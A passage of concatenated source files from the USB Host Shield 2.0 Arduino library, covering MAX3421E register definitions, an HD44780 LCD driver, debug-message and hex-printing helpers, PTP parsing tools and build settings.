0x02 #define bmHUBPRE 0x04 #define bmSOFKAENAB 0x08 #define bmSEPIRQ 0x10 #define bmDELAYISO 0x20 #define bmDMPULLDN 0x40 #define bmDPPULLDN 0x80 #define rPERADDR 0xe0 //28<<3 #define rHCTL 0xe8 //29<<3 /* HCTL Bits */ #define bmBUSRST 0x01 #define bmFRMRST 0x02 #define bmSAMPLEBUS 0x04 #define bmSIGRSM 0x08 #define bmRCVTOG0 0x10 #define bmRCVTOG1 0x20 #define bmSNDTOG0 0x40 #define bmSNDTOG1 0x80 #define rHXFR 0xf0 //30<<3 /* Host transfer token values for writing the HXFR register (R30) */ /* OR this bit field with the endpoint number in bits 3:0 */ #define tokSETUP 0x10 // HS=0, ISO=0, OUTNIN=0, SETUP=1 #define tokIN 0x00 // HS=0, ISO=0, OUTNIN=0, SETUP=0 #define tokOUT 0x20 // HS=0, ISO=0, OUTNIN=1, SETUP=0 #define tokINHS 0x80 // HS=1, ISO=0, OUTNIN=0, SETUP=0 #define tokOUTHS 0xA0 // HS=1, ISO=0, OUTNIN=1, SETUP=0 #define tokISOIN 0x40 // HS=0, ISO=1, OUTNIN=0, SETUP=0 #define tokISOOUT 0x60 // HS=0, ISO=1, OUTNIN=1, SETUP=0 #define rHRSL 0xf8 //31<<3 /* HRSL Bits */ #define bmRCVTOGRD 0x10 #define bmSNDTOGRD 0x20 #define bmKSTATUS 0x40 #define bmJSTATUS 0x80 #define bmSE0 0x00 //SE0 - disconnect state #define bmSE1 0xc0 //SE1 - illegal state /* Host error result codes, the 4 LSB's in the HRSL register */ #define hrSUCCESS 0x00 #define hrBUSY 0x01 #define hrBADREQ 0x02 #define hrUNDEF 0x03 #define hrNAK 0x04 #define hrSTALL 0x05 #define hrTOGERR 0x06 #define hrWRONGPID 0x07 #define hrBADBC 0x08 #define hrPIDERR 0x09 #define hrPKTERR 0x0A #define hrCRCERR 0x0B #define hrKERR 0x0C #define hrJERR 0x0D #define hrTIMEOUT 0x0E #define hrBABBLE 0x0F #define MODE_FS_HOST (bmDPPULLDN|bmDMPULLDN|bmHOST|bmSOFKAENAB) #define MODE_LS_HOST (bmDPPULLDN|bmDMPULLDN|bmHOST|bmLOWSPEED|bmSOFKAENAB) #endif //_max3421e_h_ ================================================ FILE: libraries/USB_Host_Shield_2.0/max_LCD.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "max_LCD.h" #include // pin definition and set/clear #define RS 0x04 // RS pin #define E 0x08 // E pin #define SET_RS lcdPins |= RS #define CLR_RS lcdPins &= ~RS #define SET_E lcdPins |= E #define CLR_E lcdPins &= ~E #define SENDlcdPins() pUsb->gpioWr( lcdPins ) #define LCD_sendcmd(a) { CLR_RS; \ sendbyte(a); \ } #define LCD_sendchar(a) { SET_RS; \ sendbyte(a); \ } static uint8_t lcdPins; //copy of LCD pins Max_LCD::Max_LCD(USB *pusb) : pUsb(pusb) { lcdPins = 0; } void Max_LCD::init() { _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; // MAX3421E::gpioWr(0x55); begin(16, 1); } void Max_LCD::begin(uint8_t cols __attribute__((unused)), uint8_t lines, uint8_t dotsize) { if(lines > 1) { _displayfunction |= LCD_2LINE; } _numlines = lines; _currline = 0; // for some 1 line displays you can select a 10 pixel high font if((dotsize != 0) && (lines == 1)) { _displayfunction |= LCD_5x10DOTS; } // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION! // according to datasheet, we need at least 40ms after power rises above 2.7V // before sending commands. Arduino can turn on way befer 4.5V so we'll wait 50 delayMicroseconds(50000); lcdPins = 0x30; SET_E; SENDlcdPins(); CLR_E; SENDlcdPins(); delayMicroseconds(10000); // wait min 4.1ms //second try SET_E; SENDlcdPins(); CLR_E; SENDlcdPins(); delayMicroseconds(10000); // wait min 4.1ms // third go! SET_E; SENDlcdPins(); CLR_E; SENDlcdPins(); delayMicroseconds(10000); // finally, set to 4-bit interface lcdPins = 0x20; //SET_RS; SET_E; SENDlcdPins(); //CLR_RS; CLR_E; SENDlcdPins(); delayMicroseconds(10000); // finally, set # lines, font size, etc. command(LCD_FUNCTIONSET | _displayfunction); // turn the display on with no cursor or blinking default _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF; display(); // clear it off clear(); // Initialize to default text direction (for romance languages) _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT; // set the entry mode command(LCD_ENTRYMODESET | _displaymode); } /********** high level commands, for the user! */ void Max_LCD::clear() { command(LCD_CLEARDISPLAY); // clear display, set cursor position to zero delayMicroseconds(2000); // this command takes a long time! } void Max_LCD::home() { command(LCD_RETURNHOME); // set cursor position to zero delayMicroseconds(2000); // this command takes a long time! } void Max_LCD::setCursor(uint8_t col, uint8_t row) { int row_offsets[] = {0x00, 0x40, 0x14, 0x54}; if(row > _numlines) { row = _numlines - 1; // we count rows starting w/0 } command(LCD_SETDDRAMADDR | (col + row_offsets[row])); } // Turn the display on/off (quickly) void Max_LCD::noDisplay() { _displaycontrol &= ~LCD_DISPLAYON; command(LCD_DISPLAYCONTROL | _displaycontrol); } void Max_LCD::display() { _displaycontrol |= LCD_DISPLAYON; command(LCD_DISPLAYCONTROL | _displaycontrol); } // Turns the underline cursor on/off void Max_LCD::noCursor() { _displaycontrol &= ~LCD_CURSORON; command(LCD_DISPLAYCONTROL | _displaycontrol); } void Max_LCD::cursor() { _displaycontrol |= LCD_CURSORON; command(LCD_DISPLAYCONTROL | _displaycontrol); } // Turn on and off the blinking cursor void Max_LCD::noBlink() { _displaycontrol &= ~LCD_BLINKON; command(LCD_DISPLAYCONTROL | _displaycontrol); } void Max_LCD::blink() { _displaycontrol |= LCD_BLINKON; command(LCD_DISPLAYCONTROL | _displaycontrol); } // These commands scroll the display without changing the RAM void Max_LCD::scrollDisplayLeft(void) { command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT); } void Max_LCD::scrollDisplayRight(void) { command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT); } // This is for text that flows Left to Right void Max_LCD::leftToRight(void) { _displaymode |= LCD_ENTRYLEFT; command(LCD_ENTRYMODESET | _displaymode); } // This is for text that flows Right to Left void Max_LCD::rightToLeft(void) { _displaymode &= ~LCD_ENTRYLEFT; command(LCD_ENTRYMODESET | _displaymode); } // This will 'right justify' text from the cursor void Max_LCD::autoscroll(void) { _displaymode |= LCD_ENTRYSHIFTINCREMENT; command(LCD_ENTRYMODESET | _displaymode); } // This will 'left justify' text from the cursor void Max_LCD::noAutoscroll(void) { _displaymode &= ~LCD_ENTRYSHIFTINCREMENT; command(LCD_ENTRYMODESET | _displaymode); } // Allows us to fill the first 8 CGRAM locations // with custom characters void Max_LCD::createChar(uint8_t location, uint8_t charmap[]) { location &= 0x7; // we only have 8 locations 0-7 command(LCD_SETCGRAMADDR | (location << 3)); for(int i = 0; i < 8; i++) { write(charmap[i]); } } /*********** mid level commands, for sending data/cmds */ inline void Max_LCD::command(uint8_t value) { LCD_sendcmd(value); delayMicroseconds(100); } #if defined(ARDUINO) && ARDUINO >=100 inline size_t Max_LCD::write(uint8_t value) { LCD_sendchar(value); return 1; // Assume success } #else inline void Max_LCD::write(uint8_t value) { LCD_sendchar(value); } #endif void Max_LCD::sendbyte(uint8_t val) { lcdPins &= 0x0f; //prepare place for the upper nibble lcdPins |= (val & 0xf0); //copy upper nibble to LCD variable SET_E; //send SENDlcdPins(); delayMicroseconds(2); CLR_E; delayMicroseconds(2); SENDlcdPins(); lcdPins &= 0x0f; //prepare place for the lower nibble lcdPins |= (val << 4) & 0xf0; //copy lower nibble to LCD variable SET_E; //send SENDlcdPins(); CLR_E; SENDlcdPins(); delayMicroseconds(100); } ================================================ FILE: libraries/USB_Host_Shield_2.0/max_LCD.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ //HD44780 compatible LCD display via MAX3421E GPOUT support header //pinout: D[4-7] -> GPOUT[4-7], RS-> GPOUT[2], E ->GPOUT[3] // #ifndef _Max_LCD_h_ #define _Max_LCD_h_ #include "Usb.h" #include "Print.h" // commands #define LCD_CLEARDISPLAY 0x01 #define LCD_RETURNHOME 0x02 #define LCD_ENTRYMODESET 0x04 #define LCD_DISPLAYCONTROL 0x08 #define LCD_CURSORSHIFT 0x10 #define LCD_FUNCTIONSET 0x20 #define LCD_SETCGRAMADDR 0x40 #define LCD_SETDDRAMADDR 0x80 // flags for display entry mode #define LCD_ENTRYRIGHT 0x00 #define LCD_ENTRYLEFT 0x02 #define LCD_ENTRYSHIFTINCREMENT 0x01 #define LCD_ENTRYSHIFTDECREMENT 0x00 // flags for display on/off control #define LCD_DISPLAYON 0x04 #define LCD_DISPLAYOFF 0x00 #define LCD_CURSORON 0x02 #define LCD_CURSOROFF 0x00 #define LCD_BLINKON 0x01 #define LCD_BLINKOFF 0x00 // flags for display/cursor shift #define LCD_DISPLAYMOVE 0x08 #define LCD_CURSORMOVE 0x00 #define LCD_MOVERIGHT 0x04 #define LCD_MOVELEFT 0x00 // flags for function set #define LCD_8BITMODE 0x10 #define LCD_4BITMODE 0x00 #define LCD_2LINE 0x08 #define LCD_1LINE 0x00 #define LCD_5x10DOTS 0x04 #define LCD_5x8DOTS 0x00 class Max_LCD : public Print { USB *pUsb; public: Max_LCD(USB *pusb); void init(); void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); void clear(); void home(); void noDisplay(); void display(); void noBlink(); void blink(); void noCursor(); void cursor(); void scrollDisplayLeft(); void scrollDisplayRight(); void leftToRight(); void rightToLeft(); void autoscroll(); void noAutoscroll(); void createChar(uint8_t, uint8_t[]); void setCursor(uint8_t, uint8_t); void command(uint8_t); #if defined(ARDUINO) && ARDUINO >=100 size_t write(uint8_t); using Print::write; #else void write(uint8_t); #endif private: void sendbyte(uint8_t val); uint8_t _displayfunction; //tokill uint8_t _displaycontrol; uint8_t _displaymode; uint8_t _initialized; uint8_t _numlines, _currline; }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/message.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "Usb.h" // 0x80 is the default (i.e. trace) to turn off set this global to something lower. // this allows for 126 other debugging levels. // TO-DO: Allow assignment to a different serial port by software int UsbDEBUGlvl = 0x80; void E_Notifyc(char c, int lvl) { if(UsbDEBUGlvl < lvl) return; #if defined(ARDUINO) && ARDUINO >=100 USB_HOST_SERIAL.print(c); #else USB_HOST_SERIAL.print(c, BYTE); #endif //USB_HOST_SERIAL.flush(); } void E_Notify(char const * msg, int lvl) { if(UsbDEBUGlvl < lvl) return; if(!msg) return; char c; while((c = pgm_read_byte(msg++))) E_Notifyc(c, lvl); } void E_NotifyStr(char const * msg, int lvl) { if(UsbDEBUGlvl < lvl) return; if(!msg) return; char c; while((c = *msg++)) E_Notifyc(c, lvl); } void E_Notify(uint8_t b, int lvl) { if(UsbDEBUGlvl < lvl) return; #if defined(ARDUINO) && ARDUINO >=100 USB_HOST_SERIAL.print(b); #else USB_HOST_SERIAL.print(b, DEC); #endif //USB_HOST_SERIAL.flush(); } void E_Notify(double d, int lvl) { if(UsbDEBUGlvl < lvl) return; USB_HOST_SERIAL.print(d); //USB_HOST_SERIAL.flush(); } #ifdef DEBUG_USB_HOST void NotifyFailGetDevDescr(void) { Notify(PSTR("\r\ngetDevDescr "), 0x80); } void NotifyFailSetDevTblEntry(void) { Notify(PSTR("\r\nsetDevTblEn "), 0x80); } void NotifyFailGetConfDescr(void) { Notify(PSTR("\r\ngetConf "), 0x80); } void NotifyFailSetConfDescr(void) { Notify(PSTR("\r\nsetConf "), 0x80); } void NotifyFailGetDevDescr(uint8_t reason) { NotifyFailGetDevDescr(); NotifyFail(reason); } void NotifyFailSetDevTblEntry(uint8_t reason) { NotifyFailSetDevTblEntry(); NotifyFail(reason); } void NotifyFailGetConfDescr(uint8_t reason) { NotifyFailGetConfDescr(); NotifyFail(reason); } void NotifyFailSetConfDescr(uint8_t reason) { NotifyFailSetConfDescr(); NotifyFail(reason); } void NotifyFailUnknownDevice(uint16_t VID, uint16_t PID) { Notify(PSTR("\r\nUnknown Device Connected - VID: "), 0x80); D_PrintHex (VID, 0x80); Notify(PSTR(" PID: "), 0x80); D_PrintHex (PID, 0x80); } void NotifyFail(uint8_t rcode) { D_PrintHex (rcode, 0x80); Notify(PSTR("\r\n"), 0x80); } #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/message.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(__MESSAGE_H__) #error "Never include message.h directly; include Usb.h instead" #else #define __MESSAGE_H__ extern int UsbDEBUGlvl; void E_Notify(char const * msg, int lvl); void E_Notify(uint8_t b, int lvl); void E_NotifyStr(char const * msg, int lvl); void E_Notifyc(char c, int lvl); #ifdef DEBUG_USB_HOST #define Notify E_Notify #define NotifyStr E_NotifyStr #define Notifyc E_Notifyc void NotifyFailGetDevDescr(uint8_t reason); void NotifyFailSetDevTblEntry(uint8_t reason); void NotifyFailGetConfDescr(uint8_t reason); void NotifyFailSetConfDescr(uint8_t reason); void NotifyFailGetDevDescr(void); void NotifyFailSetDevTblEntry(void); void NotifyFailGetConfDescr(void); void NotifyFailSetConfDescr(void); void NotifyFailUnknownDevice(uint16_t VID, uint16_t PID); void NotifyFail(uint8_t rcode); #else #define Notify(...) ((void)0) #define NotifyStr(...) ((void)0) #define Notifyc(...) ((void)0) #define NotifyFailGetDevDescr(...) ((void)0) #define NotifyFailSetDevTblEntry(...) ((void)0) #define NotifyFailGetConfDescr(...) ((void)0) #define NotifyFailGetDevDescr(...) ((void)0) #define NotifyFailSetDevTblEntry(...) ((void)0) #define NotifyFailGetConfDescr(...) ((void)0) #define NotifyFailSetConfDescr(...) ((void)0) #define NotifyFailUnknownDevice(...) ((void)0) #define NotifyFail(...) ((void)0) #endif template void ErrorMessage(uint8_t level, char const * msg, ERROR_TYPE rcode = 0) { #ifdef DEBUG_USB_HOST Notify(msg, level); Notify(PSTR(": "), level); D_PrintHex (rcode, level); Notify(PSTR("\r\n"), level); #endif } template void ErrorMessage(char const * msg __attribute__((unused)), ERROR_TYPE rcode __attribute__((unused)) = 0) { #ifdef DEBUG_USB_HOST Notify(msg, 0x80); Notify(PSTR(": "), 0x80); D_PrintHex (rcode, 0x80); Notify(PSTR("\r\n"), 0x80); #endif } #endif // __MESSAGE_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/parsetools.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "Usb.h" bool MultiByteValueParser::Parse(uint8_t **pp, uint16_t *pcntdn) { if(!pBuf) { Notify(PSTR("Buffer pointer is NULL!\r\n"), 0x80); return false; } for(; countDown && (*pcntdn); countDown--, (*pcntdn)--, (*pp)++) pBuf[valueSize - countDown] = (**pp); if(countDown) return false; countDown = valueSize; return true; } bool PTPListParser::Parse(uint8_t **pp, uint16_t *pcntdn, PTP_ARRAY_EL_FUNC pf, const void *me) { switch(nStage) { case 0: pBuf->valueSize = lenSize; theParser.Initialize(pBuf); nStage = 1; case 1: if(!theParser.Parse(pp, pcntdn)) return false; arLen = 0; arLen = (pBuf->valueSize >= 4) ? *((uint32_t*)pBuf->pValue) : (uint32_t)(*((uint16_t*)pBuf->pValue)); arLenCntdn = arLen; nStage = 2; case 2: pBuf->valueSize = valSize; theParser.Initialize(pBuf); nStage = 3; case 3: for(; arLenCntdn; arLenCntdn--) { if(!theParser.Parse(pp, pcntdn)) return false; if(pf) pf(pBuf, (arLen - arLenCntdn), me); } nStage = 0; } return true; } ================================================ FILE: libraries/USB_Host_Shield_2.0/parsetools.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(__PARSETOOLS_H__) #error "Never include parsetools.h directly; include Usb.h instead" #else #define __PARSETOOLS_H__ struct MultiValueBuffer { uint8_t valueSize; void *pValue; } __attribute__((packed)); class MultiByteValueParser { uint8_t * pBuf; uint8_t countDown; uint8_t valueSize; public: MultiByteValueParser() : pBuf(NULL), countDown(0), valueSize(0) { }; const uint8_t* GetBuffer() { return pBuf; }; void Initialize(MultiValueBuffer * const pbuf) { pBuf = (uint8_t*)pbuf->pValue; countDown = valueSize = pbuf->valueSize; }; bool Parse(uint8_t **pp, uint16_t *pcntdn); }; class ByteSkipper { uint8_t *pBuf; uint8_t nStage; uint16_t countDown; public: ByteSkipper() : pBuf(NULL), nStage(0), countDown(0) { }; void Initialize(MultiValueBuffer *pbuf) { pBuf = (uint8_t*)pbuf->pValue; countDown = 0; }; bool Skip(uint8_t **pp, uint16_t *pcntdn, uint16_t bytes_to_skip) { switch(nStage) { case 0: countDown = bytes_to_skip; nStage++; case 1: for(; countDown && (*pcntdn); countDown--, (*pp)++, (*pcntdn)--); if(!countDown) nStage = 0; }; return (!countDown); }; }; // Pointer to a callback function triggered for each element of PTP array when used with PTPArrayParser typedef void (*PTP_ARRAY_EL_FUNC)(const MultiValueBuffer * const p, uint32_t count, const void *me); class PTPListParser { public: enum ParseMode { modeArray, modeRange/*, modeEnum*/ }; private: uint8_t nStage; uint8_t enStage; uint32_t arLen; uint32_t arLenCntdn; uint8_t lenSize; // size of the array length field in bytes uint8_t valSize; // size of the array element in bytes MultiValueBuffer *pBuf; // The only parser for both size and array element parsing MultiByteValueParser theParser; uint8_t /*ParseMode*/ prsMode; public: PTPListParser() : nStage(0), enStage(0), arLen(0), arLenCntdn(0), lenSize(0), valSize(0), pBuf(NULL), prsMode(modeArray) { }; void Initialize(const uint8_t len_size, const uint8_t val_size, MultiValueBuffer * const p, const uint8_t mode = modeArray) { pBuf = p; lenSize = len_size; valSize = val_size; prsMode = mode; if(prsMode == modeRange) { arLenCntdn = arLen = 3; nStage = 2; } else { arLenCntdn = arLen = 0; nStage = 0; } enStage = 0; theParser.Initialize(p); }; bool Parse(uint8_t **pp, uint16_t *pcntdn, PTP_ARRAY_EL_FUNC pf, const void *me = NULL); }; #endif // __PARSETOOLS_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/printhex.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(__PRINTHEX_H__) #error "Never include printhex.h directly; include Usb.h instead" #else #define __PRINTHEX_H__ void E_Notifyc(char c, int lvl); template void PrintHex(T val, int lvl) { int num_nibbles = sizeof (T) * 2; do { char v = 48 + (((val >> (num_nibbles - 1) * 4)) & 0x0f); if(v > 57) v += 7; E_Notifyc(v, lvl); } while(--num_nibbles); } template void PrintBin(T val, int lvl) { for(T mask = (((T)1) << ((sizeof (T) << 3) - 1)); mask; mask >>= 1) if(val & mask) E_Notifyc('1', lvl); else E_Notifyc('0', lvl); } template void SerialPrintHex(T val) { int num_nibbles = sizeof (T) * 2; do { char v = 48 + (((val >> (num_nibbles - 1) * 4)) & 0x0f); if(v > 57) v += 7; USB_HOST_SERIAL.print(v); } while(--num_nibbles); } template void PrintHex2(Print *prn, T val) { T mask = (((T)1) << (((sizeof (T) << 1) - 1) << 2)); while(mask > 1) { if(val < mask) prn->print("0"); mask >>= 4; } prn->print((T)val, HEX); } template void D_PrintHex(T val __attribute__((unused)), int lvl __attribute__((unused))) { #ifdef DEBUG_USB_HOST PrintHex (val, lvl); #endif } template void D_PrintBin(T val, int lvl) { #ifdef DEBUG_USB_HOST PrintBin (val, lvl); #endif } #endif // __PRINTHEX_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/settings.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #ifndef USB_HOST_SHIELD_SETTINGS_H #define USB_HOST_SHIELD_SETTINGS_H #include "macros.h" //////////////////////////////////////////////////////////////////////////////// // SPI Configuration //////////////////////////////////////////////////////////////////////////////// #ifndef USB_SPI #define USB_SPI SPI //#define USB_SPI SPI1 #endif //////////////////////////////////////////////////////////////////////////////// // DEBUGGING //////////////////////////////////////////////////////////////////////////////// /* Set this to 1 to activate serial debugging */ #define ENABLE_UHS_DEBUGGING 0 /* This can be used to select which serial port to use for debugging if * multiple serial ports are available. * For example Serial3. */ #ifndef USB_HOST_SERIAL #define USB_HOST_SERIAL Serial #endif //////////////////////////////////////////////////////////////////////////////// // Manual board activation //////////////////////////////////////////////////////////////////////////////// /* Set this to 1 if you are using an Arduino Mega ADK board with MAX3421e built-in */ #define USE_UHS_MEGA_ADK 0 // If you are using Arduino 1.5.5 or newer there is no need to do this manually /* Set this to 1 if you are using a Black Widdow */ #define USE_UHS_BLACK_WIDDOW 0 /* Set this to a one to use the xmem2 lock. This is needed for multitasking and threading */ #define USE_XMEM_SPI_LOCK 0 //////////////////////////////////////////////////////////////////////////////// // Wii IR camera //////////////////////////////////////////////////////////////////////////////// /* Set this to 1 to activate code for the Wii IR camera */ #define ENABLE_WII_IR_CAMERA 0 //////////////////////////////////////////////////////////////////////////////// // MASS STORAGE //////////////////////////////////////////////////////////////////////////////// // <<<<<<<<<<<<<<<< IMPORTANT >>>>>>>>>>>>>>> // Set this to 1 to support single LUN devices, and save RAM. -- I.E. thumb drives. // Each LUN needs ~13 bytes to be able to track the state of each unit. #ifndef MASS_MAX_SUPPORTED_LUN #define MASS_MAX_SUPPORTED_LUN 8 #endif //////////////////////////////////////////////////////////////////////////////// // Set to 1 to use the faster spi4teensy3 driver. //////////////////////////////////////////////////////////////////////////////// #ifndef USE_SPI4TEENSY3 #define USE_SPI4TEENSY3 1 #endif // Disabled on the Teensy LC, as it is incompatible for now #if defined(__MKL26Z64__) #undef USE_SPI4TEENSY3 #define USE_SPI4TEENSY3 0 #endif //////////////////////////////////////////////////////////////////////////////// // AUTOMATIC Settings //////////////////////////////////////////////////////////////////////////////// // No user serviceable parts below this line. // DO NOT change anything below here unless you are a developer! #include "version_helper.h" #if defined(__GNUC__) && defined(__AVR__) #ifndef GCC_VERSION #define GCC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) #endif #if GCC_VERSION < 40602 // Test for GCC < 4.6.2 #ifdef PROGMEM #undef PROGMEM #define PROGMEM __attribute__((section(".progmem.data"))) // Workaround for http://gcc.gnu.org/bugzilla/show_bug.cgi?id=34734#c4 #ifdef PSTR #undef PSTR #define PSTR(s) (__extension__({static const char __c[] PROGMEM = (s); &__c[0];})) // Copied from pgmspace.h in avr-libc source #endif #endif #endif #endif #if !defined(DEBUG_USB_HOST) && ENABLE_UHS_DEBUGGING #define DEBUG_USB_HOST #endif #if !defined(WIICAMERA) && ENABLE_WII_IR_CAMERA #define WIICAMERA #endif // To use some other locking (e.g. freertos), // define XMEM_ACQUIRE_SPI and XMEM_RELEASE_SPI to point to your lock and unlock. // NOTE: NO argument is passed. You have to do this within your routine for // whatever you are using to lock and unlock. #if !defined(XMEM_ACQUIRE_SPI) #if USE_XMEM_SPI_LOCK || defined(USE_MULTIPLE_APP_API) #include #else #define XMEM_ACQUIRE_SPI() (void(0)) #define XMEM_RELEASE_SPI() (void(0)) #endif #endif #if !defined(EXT_RAM) && defined(EXT_RAM_STACK) || defined(EXT_RAM_HEAP) #include #else #define EXT_RAM 0 #endif #if defined(CORE_TEENSY) && defined(KINETISK) #define USING_SPI4TEENSY3 USE_SPI4TEENSY3 #else #define USING_SPI4TEENSY3 0 #endif #if ((defined(ARDUINO_SAM_DUE) && defined(__SAM3X8E__)) || defined(__ARDUINO_X86__) || ARDUINO >= 10600) && !USING_SPI4TEENSY3 #include // Use the Arduino SPI library for the Arduino Due, Intel Galileo 1 & 2, Intel Edison or if the SPI library with transaction is available #endif #ifdef RBL_NRF51822 #include #include #define SPI SPI_Master #define MFK_CASTUINT8T (uint8_t) // RBLs return type for sizeof needs casting to uint8_t #endif #if defined(__PIC32MX__) || defined(__PIC32MZ__) #include <../../../../hardware/pic32/libraries/SPI/SPI.h> // Hack to use the SPI library #endif #if defined(ESP8266) || defined(ESP32) #define MFK_CASTUINT8T (uint8_t) // ESP return type for sizeof needs casting to uint8_t #endif #ifdef STM32F4 #include "stm32f4xx_hal.h" extern SPI_HandleTypeDef SPI_Handle; // Needed to be declared in your main.cpp #endif // Fix defines on Arduino Due #ifdef ARDUINO_SAM_DUE #ifdef tokSETUP #undef tokSETUP #endif #ifdef tokIN #undef tokIN #endif #ifdef tokOUT #undef tokOUT #endif #ifdef tokINHS #undef tokINHS #endif #ifdef tokOUTHS #undef tokOUTHS #endif #endif // Set defaults #ifndef MFK_CASTUINT8T #define MFK_CASTUINT8T #endif // Workaround issue: https://github.com/esp8266/Arduino/issues/2078 #ifdef ESP8266 #undef PROGMEM #define PROGMEM #undef PSTR #define PSTR(s) (s) #undef pgm_read_byte #define pgm_read_byte(addr) (*reinterpret_cast(addr)) #undef pgm_read_word #define pgm_read_word(addr) (*reinterpret_cast(addr)) #endif #ifdef ARDUINO_ESP8266_WIFIO #error "This board is currently not supported" #endif #endif /* SETTINGS_H */ ================================================ FILE: libraries/USB_Host_Shield_2.0/sink_parser.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(__SINK_PARSER_H__) #error "Never include hexdump.h directly; include Usb.h instead" #else #define __SINK_PARSER_H__ extern int UsbDEBUGlvl; // This parser does absolutely nothing with the data, just swallows it. template class SinkParser : public BASE_CLASS { public: 